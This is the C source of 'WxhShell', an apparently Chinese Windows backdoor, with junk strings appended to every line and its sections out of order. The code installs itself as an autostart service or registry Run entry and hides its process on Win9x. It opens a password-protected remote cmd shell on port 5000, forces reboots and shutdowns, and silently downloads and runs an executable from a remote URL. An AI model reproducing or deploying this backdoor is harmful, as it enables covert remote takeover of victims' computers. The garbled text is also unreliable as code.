    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `WCL-OoZc5  
    else { 6W1+@ q  
    closesocket(wsh); z]hRc8 g}d  
    ExitThread(0); e(^I.`9z  
    } W;R6+@I[  
    break; q,#s m'S  
    } (||qFu9a  
  // 获取shell 1}c /l<d  
  case 's': { mE{QTZS  
    CmdShell(wsh); #m UQ@X@K  
    closesocket(wsh); R0#scr   
    ExitThread(0); SX'NFdY  
    break; hTO 2+F*  
  } 6y Muj<L  
  // 退出 ayn aV  
  case 'x': { F~E)w5?\O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uSI@Cjp  
    CloseIt(wsh); iNl<<0a  
    break; 4<}@hk Y  
    } :, v(l q  
  // 离开 MIkp4A  
  case 'q': { z]%@r 7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W\Scak>  
    closesocket(wsh); $$0 < &  
    WSACleanup(); \VIY[6sn\M  
    exit(1); WdS1v%  
    break; jCtk3No  
        } (>u1O V  
  } ,%x2SyA  
  } # SCLU9-  
&@|? %  
  // 提示信息 fk?!0M6d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h7K,q  S  
} I+kL;YdS  
  } YZOwr72VL  
OPq|4xu  
  return;  Jn|<G  
} 6=JJ!`"<2  
qA!4\v={  
// shell模块句柄 yVn%Bz' [  
int CmdShell(SOCKET sock) @##}zku  
{ DH _~,tK9  
STARTUPINFO si; S3U]AH)C  
ZeroMemory(&si,sizeof(si)); 3K~^H1l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uw8g%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8R\6hYJ%F  
PROCESS_INFORMATION ProcessInfo; [D+PDR  
char cmdline[]="cmd"; ]P7gEBi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5lzbg   
  return 0; B3[X{n$px  
} :$yOic}y  
Ym ]g0a  
// 自身启动模式 &e).l<B  
int StartFromService(void) buzpmRoN)  
{ j+AZ!$E  
typedef struct W6EEC<$JL  
{ twldwuN  
  DWORD ExitStatus; !}U3{L-  
  DWORD PebBaseAddress; x7l}u`N4  
  DWORD AffinityMask; Dqwd=$2%  
  DWORD BasePriority; '#j6ZC/?  
  ULONG UniqueProcessId; KdHkX+-R  
  ULONG InheritedFromUniqueProcessId; g9g ] X  
}   PROCESS_BASIC_INFORMATION; .uX(-8n ~  
~v/` `s  
PROCNTQSIP NtQueryInformationProcess; (kK8 OxfF  
*Z.{1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f]Aa$\@b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j;j~R3B  
fWfhs}_  
  HANDLE             hProcess; t,XbF  
  PROCESS_BASIC_INFORMATION pbi; zTG1 0  
+YCWoX 2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [.$%ti*!  
  if(NULL == hInst ) return 0; {#z47Rz  
u|ihUE!h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H|?r_Ns  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F [-D +Nka  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O7Jp ;  
GP ^^ K  
  if (!NtQueryInformationProcess) return 0; loq2+(  
^5 "yY2}-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !m_y@~pV#u  
  if(!hProcess) return 0; '5T:*Yh  
T72Z<h|<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~]W @+\l  
h= YTgJ  
  CloseHandle(hProcess); ~k 6V?z}  
n3/ Bs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =.m/ X>  
if(hProcess==NULL) return 0; *E|3Vy{4  
r`)'Kd  
HMODULE hMod; $V<fJpA  
char procName[255]; T|YMU?4  
unsigned long cbNeeded; ^eRbp?H*T  
t?weD{O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B=_5gZ4Y  
M6]:^;p'  
  CloseHandle(hProcess); HPO:aGU   
/k\)q  
if(strstr(procName,"services")) return 1; // 以服务启动 ee Bw\f0  
Ix=(f0|  
  return 0; // 注册表启动 !]7L9TGn  
} 3dtL[aVwY  
@WKJ7pt`'N  
// 主模块 Jl6biJx  
int StartWxhshell(LPSTR lpCmdLine) 11fV|b%  
{ h;cw=G  
  SOCKET wsl; KUq(&H7  
BOOL val=TRUE; ^\VVx:]  
  int port=0; ]nxSVKE4p  
  struct sockaddr_in door; '2<N_)43$  
}b<w\9AF  
  if(wscfg.ws_autoins) Install(); NZ^hp\q  
fE>JoQs38  
port=atoi(lpCmdLine); =t}m  
JkLpoe81  
if(port<=0) port=wscfg.ws_port; H}usL)0&&  
,MLAW  
  WSADATA data; 6TQ[2%X'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vsq |m 5  
+f^|Yi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &"yoJ<L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e]:(.Wb- 9  
  door.sin_family = AF_INET; iN L>TVUM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  ? EhIK  
  door.sin_port = htons(port); ="g9>  
KC<K*UHPAH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2XjH1  
closesocket(wsl); 8)f/H&)>8  
return 1; R&/"?&pfa  
} =| r% lx  
q{q;X{  
  if(listen(wsl,2) == INVALID_SOCKET) { h)r=+Q\'(S  
closesocket(wsl); K1- 3!G  
return 1; sa"!ckh  
} ~Bt >Y  
  Wxhshell(wsl); )o::~ eu  
  WSACleanup(); ~!Rf5QA85  
b|.<rV'BTt  
return 0; B-$ps=G+z  
}qhND-9#@  
} OR10IS  
"@xL9[d  
// 以NT服务方式启动 *>lXCx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `7 Nk;  
{ !,DA`Yt  
DWORD   status = 0; Qz<i{r-z  
  DWORD   specificError = 0xfffffff; jq/CXYv  
JWxSN9.X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ae+*gkPv8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J@q!N;eh|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #\LYo{op/.  
  serviceStatus.dwWin32ExitCode     = 0; KM oDcAjH  
  serviceStatus.dwServiceSpecificExitCode = 0; # *7ImEN  
  serviceStatus.dwCheckPoint       = 0; y(**F8>?xE  
  serviceStatus.dwWaitHint       = 0; xUB{{8B:L  
bg*@N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )Y=ti~?M(  
  if (hServiceStatusHandle==0) return; }A<fCm7  
 7"])Y  
status = GetLastError(); G/_8xmsU  
  if (status!=NO_ERROR) ]rO/IuB  
{ VQ2B|v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o~'UWU'#  
    serviceStatus.dwCheckPoint       = 0; ~2XiKY;W?  
    serviceStatus.dwWaitHint       = 0; 9@ ^*\s  
    serviceStatus.dwWin32ExitCode     = status; OL@' 1$/A  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2 3A)^j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S <++eu  
    return; sFRQFX0XoY  
  } uX&Tn1Kg  
6#2E {uy;R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /8>we`4  
  serviceStatus.dwCheckPoint       = 0; ~:UAL}b{\~  
  serviceStatus.dwWaitHint       = 0; ~=Fp0l)#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rdy-6  
} B,{Q[  
[g lhru=+  
// 处理NT服务事件,比如:启动、停止 3=^B &AB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v *@R U  
{ kE{-h'xADD  
switch(fdwControl) K=J">^uW  
{ 3TT?GgQ  
case SERVICE_CONTROL_STOP: fj y2\J!  
  serviceStatus.dwWin32ExitCode = 0; \'P79=AU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u< 5{H='6  
  serviceStatus.dwCheckPoint   = 0; ?Aky!43  
  serviceStatus.dwWaitHint     = 0; ue!wo-|#G  
  { SKSI\]Cc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4AN(4"$N  
  } ek0,@Vg9  
  return; IU rGJ#}O  
case SERVICE_CONTROL_PAUSE: jbu+>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2,'%G\QT  
  break; ju/#V}N  
case SERVICE_CONTROL_CONTINUE: "l-b(8n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T:w%RF[v9  
  break; 5G WC  
case SERVICE_CONTROL_INTERROGATE: [mG:PTK3  
  break; ' "o2;J)7  
}; x /?w1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q>dERN&  
} I- WR6s=  
x1 1ug  
// 标准应用程序主函数 !MD uj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l|  QQ  
{ PA${<wyBR_  
+C`zI~8  
// 获取操作系统版本 S>EO6z#   
OsIsNt=GetOsVer(); ,) 3Eog\-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @D=i|f  
Ug^vVc)  
  // 从命令行安装 _n!W4zwi  
  if(strpbrk(lpCmdLine,"iI")) Install(); kwpbgQ  
G/_9!lE  
  // 下载执行文件 1(m[L=H5>  
if(wscfg.ws_downexe) { Nvj KB)J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .^!uazPE0  
  WinExec(wscfg.ws_filenam,SW_HIDE); s!j vBy  
} a^Lo;kHY  
[7=?I.\Cr7  
if(!OsIsNt) { rPoq~p[Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 tD3v`Ke  
HideProc(); [O^mG 9  
StartWxhshell(lpCmdLine); Q~$hx{foN  
} Gq;!g(  
else |F52)<\  
  if(StartFromService()) C3e0d~C  
  // 以服务方式启动 #w]@yL]|is  
  StartServiceCtrlDispatcher(DispatchTable); +Uf+`  
else ]*pro|  
  // 普通方式启动 ]dQ  
  StartWxhshell(lpCmdLine); -jL10~/  
PRyzUG&  
return 0; xSZ+6R|  
} eih~ SBSH  
iKe68kx  
Iq: G9M  
iig@$ i#  
=========================================== kZHIzU  
Nmu=p~f}3`  
,~qjL|9  
)W$@phY(I  
$|!@$Aj  
9i/VvW  
" _J33u3v  
[5s4Jp$+  
#include <stdio.h> @N+6qO}  
#include <string.h> XiN@$  
#include <windows.h> _6{XqvWqb  
#include <winsock2.h> {x/)S*:Z  
#include <winsvc.h> =9cN{&qf  
#include <urlmon.h> . I#dR*  
!6DH6<HC  
#pragma comment (lib, "Ws2_32.lib") SW*Y u{  
#pragma comment (lib, "urlmon.lib") }Jk=ZBVjT7  
{N 0i 3e s  
#define MAX_USER   100 // 最大客户端连接数 >r5s>A[YC  
#define BUF_SOCK   200 // sock buffer  B/ACU  
#define KEY_BUFF   255 // 输入 buffer E3,Nc`'m9  
f|-%.,  
#define REBOOT     0   // 重启 uUI@!)@2  
#define SHUTDOWN   1   // 关机 PvqG5-L~W  
" )/febBS  
#define DEF_PORT   5000 // 监听端口 Y8%*S%yO  
vHxLn/  
#define REG_LEN     16   // 注册表键长度 bf-V Q7  
#define SVC_LEN     80   // NT服务名长度 i[a1ij=  
CxJkT2  
// 从dll定义API =@0/.oSD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qr_:zXsob_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'AJlkLqm#>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .z&,d&E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <B3$ODGJp  
?9m@ S#@  
// wxhshell配置信息 Vrx3%_NkQ  
struct WSCFG { $WHmG!)*  
  int ws_port;         // 监听端口 B0eKj=y;  
  char ws_passstr[REG_LEN]; // 口令 qB44;!(  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8:)itYE  
  char ws_regname[REG_LEN]; // 注册表键名 eJ tfQ@?  
  char ws_svcname[REG_LEN]; // 服务名 !w=6>B^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y9)Rl)7-:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ':LV"c4 t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a  C<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =P\Tk)(`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kMY1Xb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [_wenlkm  
"`8~qZ7k  
}; ju{\7X5  
}KCb5_MDF  
// default Wxhshell configuration 3lD1G~  
struct WSCFG wscfg={DEF_PORT, |\_d^U &`  
    "xuhuanlingzhe", fPu,@ L  
    1, 8^|lsB}x?  
    "Wxhshell", OXCf  
    "Wxhshell", w.6Gp;O  
            "WxhShell Service", %q)*8  
    "Wrsky Windows CmdShell Service", g6 Nw].{  
    "Please Input Your Password: ", a2\r^fY/  
  1, DQRr(r~2Kj  
  "http://www.wrsky.com/wxhshell.exe", F9 q9BH  
  "Wxhshell.exe" F1UTj "<e  
    }; ;^Hg\a  
&$+nuUA  
// 消息定义模块 dyMj=e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vv3{jn6%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +U];  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9 9S-P}xd  
char *msg_ws_ext="\n\rExit."; VwxLElV  
char *msg_ws_end="\n\rQuit."; huw|J<$  
char *msg_ws_boot="\n\rReboot..."; wc.T;(  
char *msg_ws_poff="\n\rShutdown..."; H|i39XV  
char *msg_ws_down="\n\rSave to "; ! Al?B9KJ  
22gk1'~dO  
char *msg_ws_err="\n\rErr!"; .S =^)  
char *msg_ws_ok="\n\rOK!"; qe"t0w|U?  
7 G<v<&  
char ExeFile[MAX_PATH]; 3'D<'S}[  
int nUser = 0; $^;b 1bnO  
HANDLE handles[MAX_USER]; /,m!S RJ  
int OsIsNt; R#0Z  
b9gezXAcd  
SERVICE_STATUS       serviceStatus; g(D r/D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^~Dmb2h  
5$w`m3>i(  
// 函数声明 leSR2os  
int Install(void); {D9m>B3"{  
int Uninstall(void); ~KF>Jow?Y  
int DownloadFile(char *sURL, SOCKET wsh); BQTibd  
int Boot(int flag); ;Q&|-`NK  
void HideProc(void); Y4.t:Uzr  
int GetOsVer(void); zPKx: I3  
int Wxhshell(SOCKET wsl); }g\1JSJ%H  
void TalkWithClient(void *cs); drc]"6 k  
int CmdShell(SOCKET sock); 7-u['nFJ  
int StartFromService(void); q!+&|F  
int StartWxhshell(LPSTR lpCmdLine); L 2k?Pl  
<5wk~|@t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <B %s9Zy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .3 JLa8y  
t'pY~a9F  
// 数据结构和表定义 ~$\9T.tre2  
SERVICE_TABLE_ENTRY DispatchTable[] = uO,9h0y0W  
{ E,nxv+AQ  
{wscfg.ws_svcname, NTServiceMain}, 50l! f7  
{NULL, NULL} ,-GkP>8f(  
}; Ja@zeD)f"  
wQV[ZfU^h  
// 自我安装 eumpNF%$  
int Install(void) E"l/r4*f@  
{ +.u)\'r;h  
  char svExeFile[MAX_PATH]; 1ae,s{|  
  HKEY key; GV"HkE;  
  strcpy(svExeFile,ExeFile); VX<jg#(  
-4 !9cE  
// 如果是win9x系统,修改注册表设为自启动 l#;DO9  
if(!OsIsNt) { 2iJ)K rw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `$5 QTte  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Arzyq_ Yk  
  RegCloseKey(key); v==b. 2=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {-fhp@;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m\hzQ9  
  RegCloseKey(key); ?Dr K2;q  
  return 0; RMfKM! vE  
    } 'zg; *)x1/  
  } (-:lO{@FsC  
} th?w&;L  
else { c6@7>PM  
\(db1zmS~  
// 如果是NT以上系统,安装为系统服务 f0lpwwe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $k|:V&6SV  
if (schSCManager!=0) 4|#@41\ B  
{ g]V_)}  
  SC_HANDLE schService = CreateService T|o ]8z  
  ( K#e&yY  
  schSCManager, 'Cv>V"X: `  
  wscfg.ws_svcname, jrl'?`O  
  wscfg.ws_svcdisp, h'tb  
  SERVICE_ALL_ACCESS, q|}%6ztv-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5>e#SW  
  SERVICE_AUTO_START, ,_N+t:*#0  
  SERVICE_ERROR_NORMAL, iW # |N^  
  svExeFile, '[z529HN  
  NULL, 26&$vgO~:  
  NULL, lzE{e6  
  NULL, fK %${   
  NULL, IOjp'6Yr  
  NULL BIk0n;Kz<L  
  ); X^td`}F/=V  
  if (schService!=0) j^V r!y  
  { 0eP ]  
  CloseServiceHandle(schService); U $2"ZyFii  
  CloseServiceHandle(schSCManager); 5vmc'Om  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WEnI[JGe  
  strcat(svExeFile,wscfg.ws_svcname); zarxv| }$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KmYSYNr@,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @BfJb[A#  
  RegCloseKey(key);  l:i&l?>_  
  return 0; ){I0  
    } nr{#Krkb  
  } C$+z1z.!  
  CloseServiceHandle(schSCManager); 'xP&u<(F  
} I,lX;~xb  
} s;ivoGe}  
@fc-[pv  
return 1; HVHd@#pDZ  
} #lY_XV.  
s?5vJ:M Xr  
// 自我卸载 TlEd#XQgf&  
int Uninstall(void) 3-PqUJT$   
{ #>ob1b|  
  HKEY key; TFAd  
j6:jN-z  
if(!OsIsNt) { f|'0FI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E~y( @72)  
  RegDeleteValue(key,wscfg.ws_regname); {44#<A<  
  RegCloseKey(key); +Zg@X.z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E Xxv  
  RegDeleteValue(key,wscfg.ws_regname); *yZ `aKfH  
  RegCloseKey(key); YctWSfh  
  return 0; LG+2?+tE"  
  } rk-GQ#SKU  
} UasU/Q <   
} dJjkH6%}  
else { !kS/Ei  
4Jf9N'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /&  W&  
if (schSCManager!=0) % aqP{mOO  
{ 9Wv}g"KY0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N XCvS0/h  
  if (schService!=0) 7tP%tp ez  
  { dSI<s^n  
  if(DeleteService(schService)!=0) { d.0K~M   
  CloseServiceHandle(schService); 4q"4N2  
  CloseServiceHandle(schSCManager); mIZ6[ ?  
  return 0; P?ms^   
  } Rc vp@  
  CloseServiceHandle(schService); ij,Rq`}l  
  } cN-$;Ent  
  CloseServiceHandle(schSCManager); +# 3e<+!F  
} _CMNmmp`e  
} wJZuJ(  
;pw9+zo ^M  
return 1; w>o/)TTJL  
} akF T 0@9  
?C`r3  
// 从指定url下载文件 bq2f?uD-}  
int DownloadFile(char *sURL, SOCKET wsh) V}Ee1C  
{ '3 b'moy  
  HRESULT hr; 2){O&8A  
char seps[]= "/"; n?778Wo}  
char *token; M-Ek(K3SRf  
char *file; ^=k=;   
char myURL[MAX_PATH]; 4T-"\tmg/  
char myFILE[MAX_PATH]; |R2p^!m  
U&ytZ7iB  
strcpy(myURL,sURL); JOz4O  
  token=strtok(myURL,seps); W7. +  
  while(token!=NULL) -xG6J.S  
  { @QMy!y_K~m  
    file=token; gyb99c,)  
  token=strtok(NULL,seps); F{4v[WP)  
  } Qvty;2$o@  
zW\s{  
GetCurrentDirectory(MAX_PATH,myFILE); l/,la]!T  
strcat(myFILE, "\\"); j9rxu$N+  
strcat(myFILE, file); :..WL;gC  
  send(wsh,myFILE,strlen(myFILE),0); ]}kw'&  
send(wsh,"...",3,0); ;{aGEOP'U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 19U&4Jk  
  if(hr==S_OK) Ta[\BWR2  
return 0; )3)7zulnXH  
else L+*:VP6WD  
return 1; : 0 ,yq?M  
4BSqL!i(  
} $}.+}'7$  
1+gFfKq  
// 系统电源模块 h!ogH >S~  
int Boot(int flag) damG*-7Svx  
{ tS>^x  
  HANDLE hToken; LP=y$B  
  TOKEN_PRIVILEGES tkp; R*!s'R  
\ @ fKKb|  
  if(OsIsNt) { xr{Ym99E$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @TQ/Z$y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9|lLce$  
    tkp.PrivilegeCount = 1; WrSc@j&Ycv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KzP{bK5/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fuzb4Df  
if(flag==REBOOT) { \+#EO%sN1%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y|)VNnWM  
  return 0; .$H"j>  
} ``P9fd  
else { ,l6,k<   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 71y{Dwya  
  return 0; l -xc*lC  
} x1?mE)n]  
  } _U}vKm  
  else { K2yu}F^}  
if(flag==REBOOT) { 8>t,n,k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p_g`f9q6D  
  return 0; b _<n]P*)  
} Pmo<t6  
else { :dh; @kp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &92/qRh7  
  return 0; +]nIr'V  
} MqB@}!  
} +C8O"  
ZMb+sUK  
return 1; Y+ UJV6  
} Q"ZpT  
l'/`2Y1  
// win9x进程隐藏模块 *V%"q|L8  
void HideProc(void) K6t"98  
{ vX\9#Hj  
rHTZM,zM=H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !8[T*'LJ-  
  if ( hKernel != NULL ) 4`,7 tj  
  { DtFHh/X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L7Hv)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v@soS1V!  
    FreeLibrary(hKernel); o0]YDX@T  
  } nj'5iiV`]  
5XUm}D$  
return; Ga5*tWj  
} xy]O8> b  
~t~[@2?WG  
// 获取操作系统版本 hAAh  
int GetOsVer(void) *qm|A{FQR  
{ CYLab5A  
  OSVERSIONINFO winfo; N.vWZ7l8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yu\$Y0 {]  
  GetVersionEx(&winfo); N?ccG\t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R\5,H!V9n  
  return 1; &F uPd}F  
  else a1~|?PCbY  
  return 0; 9gcW;  
} XZb=;tYo  
o6px1C:  
// 客户端句柄模块 @T~XwJ~  
int Wxhshell(SOCKET wsl) dazNwn  
{ LN WS  
  SOCKET wsh; "t&=~eOe3  
  struct sockaddr_in client; -0d9,,c  
  DWORD myID; eO <N/?t  
S(Afo`  
  while(nUser<MAX_USER) |E7 J5ha  
{ &liON1GLM  
  int nSize=sizeof(client); q* p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B{`adq?pW  
  if(wsh==INVALID_SOCKET) return 1; }bv+^#  
PPB/-F]rr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (s,&,I=@  
if(handles[nUser]==0) KU,SAcfR7  
  closesocket(wsh); c$ !?4z_.  
else Qc3d<{7\~  
  nUser++; 7K\v=  
  } bRxI7 '  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ze~P6  
Uv(R^50>  
  return 0; 22ON=NN  
} 7]vmtlL  
`!vqT 3p,  
// 关闭 socket `FPQOa*%3  
void CloseIt(SOCKET wsh) 5G}4z>-]F)  
{ fA6IW(_bi  
closesocket(wsh); rJpr;QKf%  
nUser--; 6}TunR  
ExitThread(0); y>y2,x+[  
} ?Ts]zO%%Z  
Gk*u^J(  
// 客户端请求句柄 IQPu%n{0v  
void TalkWithClient(void *cs) R^.PKT2E  
{ BA c+T  
(N9-YP?qm  
  SOCKET wsh=(SOCKET)cs; CW+kKN  
  char pwd[SVC_LEN]; }QCnN2bV  
  char cmd[KEY_BUFF]; -`PziG l@<  
char chr[1]; |Gf<Ql_.4  
int i,j; R'k `0  
1?Y>Xz  
  while (nUser < MAX_USER) { >[;W ~*  
B-MS@ <2  
if(wscfg.ws_passstr) { 2T&MVl!%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CM_hN>%w[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [A7TSN  
  //ZeroMemory(pwd,KEY_BUFF); l;iU9<~  
      i=0; mH$tG $  
  while(i<SVC_LEN) { <Q~N9W  
TmG);B}  
  // 设置超时 t(#9.b`W)  
  fd_set FdRead; ^/ "}_bR  
  struct timeval TimeOut; G ?$ @6  
  FD_ZERO(&FdRead); Ab@ G^SLX  
  FD_SET(wsh,&FdRead); irAXXg  
  TimeOut.tv_sec=8; 0F|t@?S  
  TimeOut.tv_usec=0; Kyh>O)"G^%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =\O#F88ui  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GOc   
MT-Tt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j;3I`:  
  pwd=chr[0]; )q=F_:$  
  if(chr[0]==0xd || chr[0]==0xa) { _eKO:Y[e  
  pwd=0; pN[WYM?[  
  break; vh a9,5_  
  } xsH1)  
  i++; M@cFcykK  
    } |T|m5V'l  
mXRkR.zu+  
  // 如果是非法用户,关闭 socket 9lb?%UFe  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1,fR kQ  
} r^~+ <"  
6$R9Y.s>Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); = -2~>B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <,M"kF:  
M`cxxDj&j  
while(1) { g$K\rA  
5s[nE\oaG  
  ZeroMemory(cmd,KEY_BUFF); J#(AX6  
v&d1ACctJ  
      // 自动支持客户端 telnet标准   5%I3eL%s  
  j=0; 1"H;Tr|  
  while(j<KEY_BUFF) { .?45:Ey~g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l8oaDL\f  
  cmd[j]=chr[0]; [Z$H <m{c-  
  if(chr[0]==0xa || chr[0]==0xd) { B7 s{yb  
  cmd[j]=0; WQ9e~D"  
  break; fQfn7FaW_\  
  } (.4lsKN<  
  j++; Tvx1+0Z%z  
    } d6J/)nl  
v6*0@/L M  
  // 下载文件 MNu0t\`p4  
  if(strstr(cmd,"http://")) { -uYxc=4Lh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :*Wq%Y=  
  if(DownloadFile(cmd,wsh)) sM-,95H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P 2WAnm  
  else oai=1vt@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4'O,xC  
  } bIU.C|h@  
  else { p [Po*c.b  
hP"2X"kz&  
    switch(cmd[0]) { {:1j>4m 2  
  BP3Ha8/X  
  // 帮助 1wR[nBg*|  
  case '?': { oXm !  
